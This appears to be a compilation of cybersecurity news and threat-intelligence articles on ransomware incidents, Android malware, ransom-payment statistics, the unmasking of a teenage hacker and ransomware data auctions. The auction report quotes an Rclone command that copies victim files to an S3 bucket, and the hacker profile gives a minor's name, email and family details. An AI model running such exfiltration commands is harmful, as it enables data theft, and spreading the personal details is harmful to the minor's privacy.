Beyond operational disruption, the Askul data breach revealed a loss of sensitive information. Askul confirmed that approximately 740,000 records were stolen during the ransomware incident, which has been linked to the RansomHouse extortion group.  According to Askul’s disclosures, the compromised data includes approximately 590,000 business customer service records and roughly 132,000 individual customer records. In addition, information related to around 15,000 business partners, such as agents, contractors, and suppliers, was affected, along with data belonging to about 2,700 executives and employees, including those at group companies.  Askul stated that detailed breakdowns of the exposed information were withheld to prevent secondary misuse. Affected customers and partners are being notified individually, and the company has reported the data breach at Askul to Japan’s Personal Information Protection Commission. Long-term monitoring measures have also been implemented to detect potential misuse of stolen data.  Importantly, Askul clarified that it does not store customer credit card information for LOHACO transactions, as payment processing is handled through an external system designed to prevent the company from accessing such data. 

Attack Timeline and RansomHouse Involvement 

The RansomHouse group publicly claimed responsibility for the Askul cyberattack, first disclosing the breach on October 30. Additional data leaks followed on November 10 and December 2. Askul confirmed that all published data was reviewed and analyzed by October 31, November 11, and December 9, respectively. A dedicated inquiry desk for affected individuals was established on November 4.  In its 13th official update, released on December 12, Askul provided a detailed chronology of the incident. After detecting ransomware activity on October 19, the company immediately isolated suspected infected systems, disconnected networks, strengthened monitoring, and initiated a company-wide password reset. By 2:00 p.m. that day, a formal incident response headquarters and specialized recovery teams were established.  External cybersecurity experts were engaged on October 20 to conduct forensic investigations, including log analysis and impact assessments. Despite these efforts, unauthorized access to an external cloud-based inquiry management system was identified on October 22. Password resets for major cloud services were completed by October 23, after which no further intrusions were confirmed. 

Technical Findings and Root Cause Analysis 

Askul’s investigation concluded that attackers likely gained initial access using stolen authentication credentials tied to an outsourced partner’s administrative account that lacked multi-factor authentication. After entering the internal network, the attackers conducted reconnaissance, collected additional credentials, disabled endpoint detection and response (EDR) tools, and moved laterally across servers.  Notably, Askul confirmed that multiple ransomware variants were deployed, including strains that evaded EDR signatures available at the time. Once sufficient privileges were obtained, attackers simultaneously encrypted data across logistics and internal systems, including backup files. This delayed recovery efforts.  The attack had a severe impact on Askul’s logistics infrastructure, which relies heavily on automated warehouses, picking systems, and integrated logistics platforms. When these systems were disabled, outbound shipments were completely halted.  Investigators also confirmed unauthorized access to an external cloud-based inquiry management system, from which data was exfiltrated and later published. Askul stated that no evidence of compromise was found in its core business systems or customer-facing platforms. 

Security Reforms and Governance Changes 

In response to the data breach at Askul, the company initiated sweeping security reforms aligned with the U.S. National Institute of Standards and Technology (NIST) Cybersecurity Framework. Enhancements include mandatory MFA for all remote access, strengthened log analysis, expanded 24/7 security monitoring, and improved asset integrity checks.  Askul has also committed to rebuilding its security governance framework by the end of the fiscal year in May 2026, focusing on enterprise risk management, clearer accountability, and stronger oversight.  The company noted that it has not contacted the attackers, negotiated, or paid any ransom, citing its responsibility to avoid encouraging criminal activity. It continues to cooperate with law enforcement, regulatory authorities, and information-sharing organizations such as JPCERT/CC. 

A new Android malware locks device screens and demands that users pay a ransom to keep their data from being deleted. Dubbed “DroidLock” by Zimperium researchers, the Android ransomware-like malware can also “wipe devices, change PINs, intercept OTPs, and remotely control the user interface, turning an infected phone into a hostile endpoint.” The malware detected by the researchers targeted Spanish Android users via phishing sites. Based on the examples provided, the French telecommunications company Orange S.A. was one of the companies impersonated in the campaign.

Android Malware DroidLock Uses ‘Ransomware-like Overlay’

The researchers detailed the new Android malware in a blog post this week, noting that the malware “has the ability to lock device screens with a ransomware-like overlay and illegally acquire app lock credentials, leading to a total takeover of the compromised device.” The malware uses fake system update screens to trick victims and can stream and remotely control devices via virtual network computing (VNC). The malware can also exploit device administrator privileges to “lock or erase data, capture the victim's image with the front camera, and silence the device.” The infection chain starts with a dropper that appears to require the user to change settings to allow unknown apps to be installed from the source (image below), which leads to the secondary payload that contains the malware. [caption id="attachment_107722" align="aligncenter" width="300"] The Android malware DroidLock prompts users for installation permissions (Zimperium)[/caption] Once the user grants accessibility permission, “the malware automatically approves additional permissions, such as those for accessing SMS, call logs, contacts, and audio,” the researchers said. The malware requests Device Admin Permission and Accessibility Services Permission at the start of the installation. Those permissions allow the malware to perform malicious actions such as:

• Wiping data from the device, “effectively performing a factory reset.”
• Locking the device.
• Changing the PIN, password or biometric information to prevent user access to the device.

Based on commands received from the threat actor’s command and control (C2) server, “the attacker can compromise the device indefinitely and lock the user out from accessing the device.”

DroidLock Malware Overlays

The DroidLock malware uses Accessibility Services to launch overlays on targeted applications, prompted by an AccessibilityEvent originating from a package on the attacker's target list. The Android malware uses two primary overlay methods:

• A Lock Pattern overlay that displays a pattern-drawing user interface (UI) to capture device unlock patterns.
• A WebView overlay that loads attacker-controlled HTML content stored locally in a database; when an application is opened, the malware queries the database for the specific package name, and if a match is found it launches a full-screen WebView overlay that displays the stored HTML.

The malware also uses a deceptive Android update screen that instructs users not to power off or restart their devices. “This technique is commonly used by attackers to prevent user interaction while malicious activities are carried out in the background,” the researchers said. The malware can also capture all screen activity and transmit it to a remote server by operating as a persistent foreground service and using MediaProjection and VirtualDisplay to capture screen images, which are then converted to a base64-encoded JPEG format and transmitted to the C2 server. “This highly dangerous functionality could facilitate the theft of any sensitive information shown on the device’s display, including credentials, MFA codes, etc.,” the researchers said. Zimperium has shared its findings with Google, so up-to-date Android devices are protected against the malware, and the company has also published DroidLock Indicators of Compromise (IoCs).

U.S. companies made more than $2 billion in ransomware payments between 2022 and 2024, nearly equaling the total ransoms paid in the previous nine years, according to a new report from the U.S. Treasury’s Financial Crimes Enforcement Network (FinCEN). The report, which looked at threat pattern and trend information identified in Bank Secrecy Act (BSA) filings, said that between Jan. 1, 2022 and Dec. 31, 2024, FinCEN received 7,395 BSA reports related to 4,194 ransomware incidents and totaling more than $2.1 billion in ransomware payments. In the previous nine years, from 2013 to 2021, FinCEN received 3,075 BSA reports totaling approximately $2.4 billion in ransomware payments, the report said. FinCEN notes that because its data is based on BSA filings, it is by nature incomplete, and indeed, the 4,194 ransomware incidents recorded by FinCEN between 2022 and 2024 is less than 40% of the nearly 11,000 ransomware attacks recorded in Cyble’s threat intelligence data over the same period.

ALPHV/BlackCat and LockBit Enforcement Actions Lowered Ransomware Payments

Ransomware incidents and payments reported to FinCEN reached an all-time high in 2023 of 1,512 incidents totaling approximately $1.1 billion in payments, an increase of 77 percent in payments from 2022. In 2024, incidents decreased slightly to 1,476 while total payments dropped to approximately $734 million. FinCEN attributed the decline in ransomware payments in 2024 to law enforcement disruption of the ALPHV/BlackCat and LockBit ransomware groups. However, LockBit is in the midst of its most significant comeback since the law enforcement actions disrupted the group, with 21 new victims claimed so far this month. Of the 267 ransomware variants identified during the reporting period, the most common variants were Akira, ALPHV/BlackCat, LockBit, Phobos, and Black Basta. However, Qilin has emerged as the top ransomware group in 2025 by a wide margin, so FinCEN’s 2025 BSA data will almost certainly change. Despite the decline in payments, the value of reported ransomware payments in 2024 was still the third-highest yearly total since the reports began in 2013. The median ransomware payment was $124,097 in 2022, $175,000 in 2023, and $155,257 in 2024. Between January 2022 and December 2024, the most common payment range was below $250,000.

Financial Services, Manufacturing and Healthcare Most Targeted Sectors

Measuring both the number of ransomware incidents and the amount of aggregate payments, the financial services, manufacturing and healthcare industries were the most affected during the report period. Between January 2022 and December 2024, the most commonly targeted industries by number of incidents identified in ransomware-related BSA reports were manufacturing (456 incidents), financial services (432 incidents), healthcare (389 incidents), retail (337 incidents), and legal services (334 incidents). Industries that paid the most in ransoms during the three-year period were financial services (approximately $365.6 million), healthcare (about $305.4 million), manufacturing (approximately $284.6 million), science and technology (about $186.7 million), and retail ($181.3 million). The Onion router (TOR) was the most common communication method used by ransomware groups. About 42 percent of BSA reports indicated the method that ransomware threat actors used to communicate with their targets. Among those reports, 67 percent indicated that ransomware actors used TOR, while 28 percent indicated that ransomware actors used email to communicate with their victims. Bitcoin (BTC) was the most common ransomware-related payment method, accounting for 97 percent of reported payments. Monero (XMR) was cited in two percent of BSA reports involving ransomware. FinCEN also identified several common money laundering typologies used by ransomware groups. Threat actors overwhelmingly collected payments in unhosted convertible virtual currency (CVC) wallets and “continued to exploit CVC exchanges for money laundering purposes after receiving payment,” the report said. Ransomware groups also used “several common preferred malicious cyber facilitators, such as shared initial access vendors,” FinCEN said.

Barts Health NHS Trust has confirmed that the data breach at Barts Health was carried out by the Russian-speaking Cl0p ransomware group, which exploited a vulnerability in Oracle E-Business Suite. The Barts Health data breach involved the theft of files from one of the trust’s invoice databases, exposing information linked to payments for treatment and other services, some dating back several years.  In its official notification, the trust stated, “As a result of a recent incident involving data from our trust, we are informing those potentially affected that there is a risk some personal data is compromised.”  The trust confirmed that the criminal group stole files containing names and addresses of individuals required to pay for treatment or services at a Barts Health hospital. These files were later posted on the dark web. Barts Health emphasized that it is pursuing legal remedies, noting, “We are taking urgent action and seeking a High Court order to ban the publication, use or sharing of this data by anyone.” 

Details of the Barts Health Data Breach and Exposed Information 

The cyberattack on Barts Health occurred after Cl0p exploited a flaw in Oracle E-Business Suite, a widely used system for automating business processes. Oracle has since corrected the vulnerability, which has affected multiple organizations globally.  The trust has reported the Barts Health data breach to NHS England, the National Cyber Security Centre, the Metropolitan Police, and the Information Commissioner’s Office. Despite the intrusion, Barts Health stressed that core healthcare systems remain secure: “Please note our electronic patient record and clinical systems are not affected, and we are confident our core IT infrastructure is secure.”  Paying patients are encouraged to review their treatment invoices to understand which details may have been exposed. Some former employees also appear in the files due to outstanding salary sacrifice amounts or overpayments. Nearly half of the compromised records relate to suppliers whose information is already publicly accessible.  The affected database also contains accounting files that Barts Health has managed since April 2024 for Barking, Havering, and Redbridge University Hospitals NHS Trust. Both trusts are coordinating efforts to limit the impact. 

Timeline of the Breach and Potential Risks to Individuals 

Although the theft occurred in August, Barts Health did not receive any indication that data had been compromised until November, when the files were uploaded to the dark web. None of the information has emerged on the open internet, restricting exposure to individuals with access to encrypted and compressed files on the dark web.  The trust warned that the stolen files cannot grant direct access to personal accounts but may help criminals craft scams to trick victims into sharing sensitive information or making payments. Individuals with concerns are advised to contact the trust’s data protection officer or consult national guidance such as “Stop! Think Fraud – How to stay safe from scams.”  Barts Health apologized for the incident, stating, “We are very sorry that this has happened and are taking steps with our suppliers to ensure that it could not happen again.”  The Cl0p ransomware group is a well-known cybercriminal syndicate recognized for its multilayer extortion operations, including encryption-less ransomware tactics. Responsible for extorting more than $500 million in ransom payments worldwide, Cl0p became prominent in 2019 through extensive phishing campaigns and malware. The group frequently exploits zero-day vulnerabilities, enabling high-impact attacks and ransom demands. 

The LockBit ransomware group is making a comeback, with a new data leak site and 21 new victims. LockBit was once the most feared ransomware group, and it still vastly outnumbers other ransomware groups with more than 2,700 claimed victims over its six-year-history, but a series of international law enforcement actions that began in February 2024 severely disrupted the group, and it has struggled to mount a sustained comeback since. LockBit 4.0, released in early 2025, failed to gain much traction and was never completely rolled out, and rivals like Qilin have done well attracting ransomware affiliates with favorable terms like profit sharing and enhanced features. But LockBit 5.0, announced on the underground forum RAMP in September, may be helping the group gain some traction, as it has since launched a new dark web data leak site and claimed new victims, Cyble reported in recent notes to clients. Dec. 8 update: LockBit claimed an additional 14 victims over the weekend since this article was published, raising the group's total to 21 for the month, behind only Qilin and Akira.

LockBit 'Fully Reactivated'

Despite a nearly two-year struggle to regain its footing, LockBit remains by far the most active ransomware group over its six-year history, its 2,757 victims more than double that of its nearest rivals, including Qilin, Akira, Play and CL0P (chart below from Cyble). [caption id="attachment_107448" align="aligncenter" width="1200"] LockBit remains the most dominant ransomware group of all time by a significant margin (Cyble)[/caption] Despite its history and name, LockBit’s comeback route has been a steep one, as arrests, leaked source code and operational leaks have repeatedly hampered comeback attempts and given rivals an advantage. But Cyble reported to clients on Dec. 5 that LockBit has “fully reactivated its public ransomware operations.” The new data leak site launched on November 5 and currently lists 21 new victims, plus several that had been previously claimed by the group. The new LockBit 5.0 variant, internally codenamed “ChuongDong,” has been driving the group’s reemergence. The new ransomware variant includes a complete redevelopment of the ransomware panel and lockers, and the new malware is more modular and offers faster encryption and better evasion of security defenses. Obfuscation is a key feature of the new ransomware version, which targets Linux, Windows and VMware ESXi environments.

LockBit Victims, Sectors and Targeted Countries

One notable new victim claimed by LockBit is an Asian airline providing regional passenger transport and charter services. Another new listing is a major Caribbean real estate company. Looking at the 42 victims claimed by LockBit in 2025 through Dec. 5, what stands out are the sectors and countries targeted, which differ from other leading ransomware groups. LockBit has had surprising success targeting financial services organizations. The group has claimed more victims in the Banking, Financial Services and Insurance (BFSI) sector in 2025 than in other industries (chart below). Overall, financial services isn’t among the top 10 sectors attacked by all ransomware groups, as the BFSI sector typically has stronger cybersecurity controls than other sectors. [caption id="attachment_107450" align="aligncenter" width="1200"] LockBit has had significant success targeting financial services companies (Cyble)[/caption] Also interesting is LockBit’s success targeting organizations in South America (chart below), which differs significantly from other ransomware groups, whose attacks are largely focused on the U.S., Canada and Europe. [caption id="attachment_107452" align="aligncenter" width="1200"] LockBit has had more success in South America than other ransomware groups (Cyble)[/caption] It remains to be seen if LockBit can mount a sustained comeback this time, but the group has a uniquely interesting base to build on. Ransomware affiliates are opportunistic, however, and they tend to gravitate toward the ransomware groups that offer the best chance at profitability and success. LockBit's comeback will depend on its ability to convince affiliates that it deserves to be back among the leaders. Article published on Dec. 5 and updated on Dec. 8 to reflect an increase in recent victims claimed by LockBit from seven to 21.

A prolific cybercriminal group that calls itself “Scattered LAPSUS$ Hunters” has dominated headlines this year by regularly stealing data from and publicly mass extorting dozens of major corporations. But the tables seem to have turned somewhat for “Rey,” the moniker chosen by the technical operator and public face of the hacker group: Earlier this week, Rey confirmed his real life identity and agreed to an interview after KrebsOnSecurity tracked him down and contacted his father.

Scattered LAPSUS$ Hunters (SLSH) is thought to be an amalgamation of three hacking groups — Scattered Spider, LAPSUS$ and ShinyHunters. Members of these gangs hail from many of the same chat channels on the Com, a mostly English-language cybercriminal community that operates across an ocean of Telegram and Discord servers.

In May 2025, SLSH members launched a social engineering campaign that used voice phishing to trick targets into connecting a malicious app to their organization’s Salesforce portal. The group later launched a data leak portal that threatened to publish the internal data of three dozen companies that allegedly had Salesforce data stolen, including Toyota, FedEx, Disney/Hulu, and UPS.

Last week, the SLSH Telegram channel featured an offer to recruit and reward “insiders,” employees at large companies who agree to share internal access to their employer’s network for a share of whatever ransom payment is ultimately paid by the victim company.

SLSH has solicited insider access previously, but their latest call for disgruntled employees started making the rounds on social media at the same time news broke that the cybersecurity firm Crowdstrike had fired an employee for allegedly sharing screenshots of internal systems with the hacker group (Crowdstrike said their systems were never compromised and that it has turned the matter over to law enforcement agencies).

Members of SLSH have traditionally used other ransomware gangs’ encryptors in attacks, including malware from ransomware affiliate programs like ALPHV/BlackCat, Qilin, RansomHub, and DragonForce. But last week, SLSH announced on its Telegram channel the release of their own ransomware-as-a-service operation called ShinySp1d3r.

The individual responsible for releasing the ShinySp1d3r ransomware offering is a core SLSH member who goes by the handle “Rey” and who is currently one of just three administrators of the SLSH Telegram channel. Previously, Rey was an administrator of the data leak website for Hellcat, a ransomware group that surfaced in late 2024 and was involved in attacks on companies including Schneider Electric, Telefonica, and Orange Romania.

Also in 2024, Rey would take over as administrator of the most recent incarnation of BreachForums, an English-language cybercrime forum whose domain names have been seized on multiple occasions by the FBI and/or by international authorities. In April 2025, Rey posted on Twitter/X about another FBI seizure of BreachForums.

On October 5, 2025, the FBI announced it had once again seized the domains associated with BreachForums, which it described as a major criminal marketplace used by ShinyHunters and others to traffic in stolen data and facilitate extortion.

“This takedown removes access to a key hub used by these actors to monetize intrusions, recruit collaborators, and target victims across multiple sectors,” the FBI said.

Incredibly, Rey would make a series of critical operational security mistakes last year that provided multiple avenues to ascertain and confirm his real-life identity and location. Read on to learn how it all unraveled for Rey.

WHO IS REY?

According to the cyber intelligence firm Intel 471, Rey was an active user on various BreachForums reincarnations over the past two years, authoring more than 200 posts between February 2024 and July 2025. Intel 471 says Rey previously used the handle “Hikki-Chan” on BreachForums, where their first post shared data allegedly stolen from the U.S. Centers for Disease Control and Prevention (CDC).

In that February 2024 post about the CDC, Hikki-Chan says they could be reached at the Telegram username @wristmug. In May 2024, @wristmug posted in a Telegram group chat called “Pantifan” a copy of an extortion email they said they received that included their email address and password.

The message that @wristmug cut and pasted appears to have been part of an automated email scam that claims it was sent by a hacker who has compromised your computer and used your webcam to record a video of you while you were watching porn. These missives threaten to release the video to all your contacts unless you pay a Bitcoin ransom, and they typically reference a real password the recipient has used previously.

“Noooooo,” the @wristmug account wrote in mock horror after posting a screenshot of the scam message. “I must be done guys.”

In posting their screenshot, @wristmug redacted the username portion of the email address referenced in the body of the scam message. However, they did not redact their previously-used password, and they left the domain portion of their email address (@proton.me) visible in the screenshot.

O5TDEV

Searching on @wristmug’s rather unique 15-character password in the breach tracking service Spycloud finds it is known to have been used by just one email address: cybero5tdev@proton.me. According to Spycloud, those credentials were exposed at least twice in early 2024 when this user’s device was infected with an infostealer trojan that siphoned all of its stored usernames, passwords and authentication cookies (a finding that was initially revealed in March 2025 by the cyber intelligence firm KELA).

Intel 471 shows the email address cybero5tdev@proton.me belonged to a BreachForums member who went by the username o5tdev. Searching on this nickname in Google brings up at least two website defacement archives showing that a user named o5tdev was previously involved in defacing sites with pro-Palestinian messages. The screenshot below, for example, shows that 05tdev was part of a group called Cyb3r Drag0nz Team.

A 2023 report from SentinelOne described Cyb3r Drag0nz Team as a hacktivist group with a history of launching DDoS attacks and cyber defacements as well as engaging in data leak activity.

“Cyb3r Drag0nz Team claims to have leaked data on over a million of Israeli citizens spread across multiple leaks,” SentinelOne reported. “To date, the group has released multiple .RAR archives of purported personal information on citizens across Israel.”

The cyber intelligence firm Flashpoint finds the Telegram user @05tdev was active in 2023 and early 2024, posting in Arabic on anti-Israel channels like “Ghost of Palestine” [full disclosure: Flashpoint is currently an advertiser on this blog].

‘I’M A GINTY’

Flashpoint shows that Rey’s Telegram account (ID7047194296) was particularly active in a cybercrime-focused channel called Jacuzzi, where this user shared several personal details, including that their father was an airline pilot. Rey claimed in 2024 to be 15 years old, and to have family connections to Ireland.

Specifically, Rey mentioned in several Telegram chats that he had Irish heritage, even posting a graphic that shows the prevalence of the surname “Ginty.”

Spycloud indexed hundreds of credentials stolen from cybero5dev@proton.me, and those details indicate that Rey’s computer is a shared Microsoft Windows device located in Amman, Jordan. The credential data stolen from Rey in early 2024 show there are multiple users of the infected PC, but that all shared the same last name of Khader and an address in Amman, Jordan.

The “autofill” data lifted from Rey’s family PC contains an entry for a 46-year-old Zaid Khader that says his mother’s maiden name was Ginty. The infostealer data also shows Zaid Khader frequently accessed internal websites for employees of Royal Jordanian Airlines.

MEET SAIF

The infostealer data makes clear that Rey’s full name is Saif Al-Din Khader. Having no luck contacting Saif directly, KrebsOnSecurity sent an email to his father Zaid. The message invited the father to respond via email, phone or Signal, explaining that his son appeared to be deeply enmeshed in a serious cybercrime conspiracy.

Less than two hours later, I received a Signal message from Saif, who said his dad suspected the email was a scam and had forwarded it to him.

“I saw your email, unfortunately I don’t think my dad would respond to this because they think its some ‘scam email,'” said Saif, who told me he turns 16 years old next month. “So I decided to talk to you directly.”

Saif explained that he’d already heard from European law enforcement officials, and had been trying to extricate himself from SLSH. When asked why then he was involved in releasing SLSH’s new ShinySp1d3r ransomware-as-a-service offering, Saif said he couldn’t just suddenly quit the group.

“Well I cant just dip like that, I’m trying to clean up everything I’m associated with and move on,” he said.

He also shared that ShinySp1d3r is just a rehash of Hellcat ransomware, except modified with AI tools. “I gave the source code of Hellcat ransomware out basically.”

Saif claims he reached out on his own recently to the Telegram account for Operation Endgame, the codename for an ongoing law enforcement operation targeting cybercrime services, vendors and their customers.

“I’m already cooperating with law enforcement,” Saif said. “In fact, I have been talking to them since at least June. I have told them nearly everything. I haven’t really done anything like breaching into a corp or extortion related since September.”

Saif suggested that a story about him right now could endanger any further cooperation he may be able to provide. He also said he wasn’t sure if the U.S. or European authorities had been in contact with the Jordanian government about his involvement with the hacking group.

“A story would bring so much unwanted heat and would make things very difficult if I’m going to cooperate,” Saif said. “I’m unsure whats going to happen they said they’re in contact with multiple countries regarding my request but its been like an entire week and I got no updates from them.”

Saif shared a screenshot that indicated he’d contacted Europol authorities late last month. But he couldn’t name any law enforcement officials he said were responding to his inquiries, and KrebsOnSecurity was unable to verify his claims.

“I don’t really care I just want to move on from all this stuff even if its going to be prison time or whatever they gonna say,” Saif said.

A nationwide cyberattack against the OnSolve CodeRED emergency notifications system has prompted cities and counties across the US to warn residents and advise them to change their passwords.

CodeRED is used by local governments to deliver fast, targeted alerts during severe weather, evacuations, missing persons, and other urgent events. Both the data breach and the service outage have serious implications for communities.

The OnSolve CodeRED system is a cloud-based platform used by city, county, and state agencies to send emergency alerts via voice calls, SMS, email, mobile app notifications, and national alerting systems. Because of the incident, some regions temporarily lost access to the system and had to rely on social media or other methods to reach the public.

To avoid confusion: CodeRED is not the same as the Emergency Alert System (EAS), which is the federal government-managed emergency notifications system. The CodeRED emergency notification system is a voluntary program where residents can sign up to receive notifications and emergency alerts affecting the city they live in.

What’s happened?

Among the many affected municipalities, the City of Cambridge’s Emergency Communications, Police, and Fire Departments issued an alert urging users to change their passwords, especially if they reused the same password elsewhere. Similar advisories have been published by towns and counties in multiple states as the scale of the attack became clear.

The City of University Park, Texas, also warned residents:

“As a precaution, we want to make residents aware of a recent cybersecurity incident involving the City’s third-party emergency alert system, CodeRED. We were notified that a cybercriminal group targeted the system, which caused disruption and may have compromised some user data. This incident did not affect any City systems or services and remains isolated to the CodeRED software.”

The cause is reportedly a ransomware attack claimed by the INC Ransom group. The group posted screenshots that appear to show stolen customer data, including email addresses and associated clear-text passwords.

The INC Ransom group also published part of the alleged ransom negotiation, suggesting that Crisis24 (the provider behind CodeRED) initially offered $100,000, later increasing the offer to $150,000, which INC rejected.

The incident forced Crisis24 to shut down its legacy environment and rebuild the system in a new, isolated infrastructure. Some regions, such as Douglas County, Colorado, have terminated their CodeRED contracts following the outage.

Why this matters

Cyberattacks happen, and data breaches are not always preventable. But storing your subscriber database—including passwords in clear text—seems rather careless. Providers should assume people reuse passwords, especially for accounts they don’t view as very sensitive.

Not that ransomware groups care, of course, but systems like CodeRED genuinely saves lives. When that system goes down or cannot be trusted, communities may miss evacuation orders, severe weather warnings, or active-shooter alerts when minutes matter.

Users are now being told to change their passwords, sometimes across multiple websites. But has everyone been notified? And even if they have, will they actually take action?

Protecting yourself after a data breach

If you think you have been the victim of a data breach, here are steps you can take to protect yourself:

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice it offers.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for impersonators. The thieves may contact you posing as the breached platform. Check the official website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but we highly recommend not storing that information on websites.
• Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.

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We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

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This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P --include "*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 500d --max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

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Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

